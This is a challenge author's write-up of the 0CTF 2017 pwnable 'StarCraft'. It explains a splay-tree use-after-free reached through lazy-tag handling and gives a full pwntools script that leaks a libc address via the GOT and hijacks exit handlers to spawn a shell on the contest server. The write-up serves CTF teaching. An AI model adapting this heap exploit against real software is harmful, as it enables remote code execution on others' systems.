0CTF 2017 Quals: StarCraft (Pwnable 1000pt)

CTF

One word that has been said before

Actually, it's really shocked and embarrassed that there is no solution for StarCraft in 0CTF 2017 Quals. I have been looking forward to the first blood in the whole second day, however, sadly, not a happy ending.

After game, I made a deep self-examination for such a situation. Maybe I ignore the difficulty of reversing manual data structure (for which I should have provided the unstripped binary). Or maybe I made a huge misleading on the intended unexploitable UAF, leading many pwners wasted too much time and ignored the real one. obviously, a great improvement is needed next time.

StarCraft is designed for testing the ability of vulnerability hunting rather than vulnerability exploitation. I try to simulate a real software with many bugs, some of which are exploitable and the others are not. Unlike some other pwnable challenges, the bugs in StarCraft, none of which is made on purpose, are all from the process of my coding. As a result, you could not only look for vulnerabilities, such as stack overflow and uninitialized variables, in routine. You should go deep, and avoid being fooled by the bad vulnerability.

Task Description

Lonely, a REAL soldier should face StarCraft BY HIMSELF.
nc 202.120.7.212 12321
binary
libc.so.6

Followings are some hints:

Hint: Do you know Splay and Segment tree?
Hint2: It's a bad splay tree filled with vulns. Do not concentrate on the unexploitable ones.

Binary Analyse

The binary maintains a splay tree which supports interval operations. It may also be regarded as a variant of segment tree, I think in some way. You could find more specific information about this kind of data structure from this link (I have tried my best to find some suitable material from Google, and this seems like the one matches most).

In StarCraft, there are two kinds of nodes in the tree:

• Normal Node: the real nodes of the tree
• Leaf_Null Node: the node which symbolises NULL

Only Normal Node could contain data. Following is the structure definition:

struct node{
    struct node* lson;
    struct node* rson;
    struct node* father;
    char *name;
    char *nickname;
    int *total;
    int id;
    int max;
    int min;
    int HP;
    int lazy_hp; // lazy tag for hp change
    int lazy_id; // lazy tag for id change
};

Thus, A tree may look like:

(A splay tree containing four robots' data)

Also, you could have some operations in StarCraft:

• Login
  
  • You could malloc a chunk filled with anything you write with a 12-byte prefix "StarCrafter:" (which makes UAF hard or impossible)
  • The second time you login, you will go to leave() directly
  • Any other operations needs login first
• Rename
  
  • Free the old name chunk and go to login()
  • The second time you login, you will go to leave() directly
• Shot
  
  • Reduce one point of robots' HP, whose id ranges from x to y
• Recover
  
  • Increase one point of robots' HP, whose id ranges from x to y
• Add
  
  • Add some new robots with customised HP
• Show
  
  • Show the robot's information, who has max HP with id ranging from x to y. Next step, You could choose to kill this robot or not.
  • Show robot's information with id.x
• Leave
  
  • Choose a robot, clear information (include zero-set total), give him a nickname
  • Call exit()

Any robot with zero HP would be removed, and the id of robots should be continuous starting from zero. If the tree was empty, StarCraft calls exit()

Exploitable "Insert"

The insert operation on this splay is really odd, for the strange GC Call in the basicInsert(). Now we come to the code to see the vulnerability.

void basicInsert(struct node* father, struct node* victim)
{
    if (head != father){
        splay(head, father);
        if (head->lson == father)
            Rrotota(father);
        else
            Lrotota(father);
    }
    //else{
    //    pushLazy(head);
    //    fresh(head);
    //}Attention! Attack Face
    clear(head);
    head->rson = victim;
    victim->father = head;
    fresh(head);
    return;
}

If father is equal to head, and it has a lazy_hp tag. Inserting two robots with 1 HP will trigger the vulnerability:

• First time in basicInsert, new robot 1 add to the tree with nothing happening
• Second time in basicInsert, Lrotota makes lazy_hp tag push, leading new robot 1's HP clean. Following clear(head) will remove robot 1. And now, we add new robot 2 to the tree
• At this point, we make ids not continuous. Thus, a fake robot appears

Here, we come to the idea to bash StarCraft:

• Trigger vulnerability to make a gap in continuous ids, making a fake robot
• Kill the robot which actually do not exist, to free Leaf_Null node
• Rename to reuse Leaf_Null node, the name pointer points to GOT Table
• Show information of fake robot, to leak address information
• Rename again to change the pointers to exit_functions_list and xor_canary_address in fake robot, and go to leave()
• In leave(), change the exit_funcionts_list in libc to get a shell in exit().

There are some other restrictions we should bypass, such as that any lazy_id tag should not be pushed on the Leaf_Null node, but not the point and not much difficult. So I leave them out. Following is my EXP script.

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from pwnlib.log import *
port = 12321
service = 'StarCraft'
timeout = 30
author = "iZhuer"
def output(name, data):
    info(name + ': %#x', data)
def lmov(data):
    bit = data >> 31
    data = data << 1;
    data = (data | bit) & 0xffffffff
    return data
def exploit(ip):
    r = remote(ip, port)
    e = ELF('./StarCraft')
    ###################### exp starts here #####################
    map(r.sendline, ['1', '24', "aaaaaa"]) 
    r.recvuntil('Menu')
    # Login with a different size than the node chunk
    for i in xrange(9):
        map(r.sendline, ['6', '1', str(9 - i), str(9 - i), 'y'])
        r.recvuntil('Menu')
    # kill nine robots and leave a lonely one 
    # (now please come to the task description, it's also a hint :P)
    # Avoid pushing any lazy_id tag
    map(r.sendline, ['3', '0', '0'])
    r.recvuntil('Menu')
    # Add a laze_hp tag on the head
    map(r.sendline, ['5', '2', '1', 'zz'])
    r.recvuntil('Menu')
    # Trigger the vulnerability
    # id: 0 2
    for i in xrange(7):
        map(r.sendline, ['4', '1', '1'])
        r.recvuntil('Menu')
    # Increase fake robot HP (Leaf_Null)
    map(r.sendline, ['6', '1', '0', '0', 'y'])
    r.recvuntil('Menu')
    # Remove robot 0
    # id: 1 
    map(r.sendline, ['6', '1', '0', '0', 'y'])
    r.recvuntil('Menu')
    # Remove the fake robot to free Leaf_Null node
    # id: 1 (Leaf_Null father is not robot 1)
    map(r.sendline, ['2', '32', p32(0x804cffc) + p32(0x1) + p32(0) * 5])
    r.recvuntil('Menu')
    # Rename to reuse the Leaf_Null chunk
    # Write some pointers (point to atoi GOT Table)
    map(r.sendline, ['6', '2', '0'])
    r.recvuntil("a version ")
    atoi_addr = u32(r.recv(4))
    output("atoi_addr", atoi_addr)
    system_addr = atoi_addr - 0x0002f850 + 0x0003e3e0
    output("system_addr", system_addr)
    binsh_addr = atoi_addr - 0x0002f850 + 0x15f551
    output("binsh_addr", binsh_addr)
    xor_addr = atoi_addr - 0x30138 
    output("xor_addr", xor_addr)
    exit_funcs_addr = atoi_addr + 0x17a990
    output("exit_funcs_addr", exit_funcs_addr)
    r.recvuntil('Menu')
    # Info Leak
    target_data = system_addr
    output("target_data", target_data)
    for i in xrange(9):
        target_data = lmov(target_data)
    output("target_data", target_data)
    map(r.sendline, ['2', '32', p32(binsh_addr) + p32(exit_funcs_addr + 0xc) + p32(xor_addr)])
    r.recvuntil('war!\n')
    r.sendline('0')
    r.recvuntil('nickname\n')
    r.sendline(p32(target_data) + p32(binsh_addr))
    # Rename again, and change the exit_function_list 
    r.interactive()
    ######################### exp ends #########################
if __name__ == "__main__":
    exploit('202.120.7.212')

flag{5Pl4y_h45_m4Ny_cR4zy_l4zy_7465}